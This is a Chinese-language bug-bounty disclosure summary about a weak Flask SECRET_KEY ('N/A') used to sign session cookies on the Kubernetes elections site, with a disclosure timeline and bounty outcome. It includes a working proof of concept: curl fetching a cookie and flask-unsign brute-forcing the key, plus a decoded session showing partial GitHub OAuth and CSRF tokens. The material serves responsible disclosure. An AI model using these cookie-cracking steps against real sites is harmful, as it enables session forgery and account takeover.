Kubernetes选举系统弱会话密钥安全报告
漏洞概述
安全研究人员ian通过其开发的CookieMonster工具发现,Kubernetes选举网站elections.k8s.io使用了弱Flask SECRET_KEY——字面值为"N/A"——来签署认证cookie。
技术细节
问题描述
许多应用程序使用无状态cookie来保存会话信息(例如谁已登录),但许多应用程序未能正确保护这些信息。研究人员发现elections.k8s.io使用弱Flask SECRET_KEY来签署认证cookie。
源代码证据
从Elekto源代码中发现的警告:
1
2
3
4
5
|
# Encryption Key
#
# This is used by the Flask server and should be set to a random character
# string, please do not deploy before doing this!.
SECRET_KEY = env('APP_KEY', 'test')
|
概念验证
使用Flask-Unsign工具验证漏洞:
1
2
3
4
5
6
7
8
9
|
% curl https://elections.k8s.io -Is | grep cookie
set-cookie: session=eyJfcGVybWFuZW50Ijp0cnVlfQ.YX-V3g.NET76NNJbweb_qagyfYl2_7TDJg; Expires=Thu, 02 Dec 2021 07:23:10 GMT; HttpOnly; Path=/
% flask-unsign -u -c "eyJfcGVybWFuZW50Ijp0cnVlfQ.YX-V3g.NET76NNJbweb_qagyfYl2_7TDJg"
[*] Session decodes to: {'_permanent': True}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 8192 attemptspdcQHNyXaB0O
'N/A'
|
影响分析
弱密钥可能允许任意会话操纵。会话cookie包含以下内容:
1
|
{'_permanent': True, 'authentication': 'gho_lhhuQuI2mXXCnTPT2N8...', 'csrf_token': '500ef973780f085ccd6090efa41a6...', 'state': 'd4U9sRlU9jMXgR....'}
|
处理过程
- 2021年11月1日:ian提交漏洞报告
- 2021年11月4日:状态更新为"已分类",严重性评级为高风险(7.5分)
- 2021年11月9日:Kubernetes团队奖励ian和nagli各125美元奖金
- 2025年8月20日:报告状态更新为"已解决"
- 2025年9月19日:报告被公开披露
最终评估
尽管漏洞被确认为有效,但Kubernetes团队指出:
- 根据HackerOne项目范围,此问题属于范围外
- 无法立即证明此漏洞可能被利用来攻击选举完整性
- 仍给予奖金奖励以表彰高质量的报告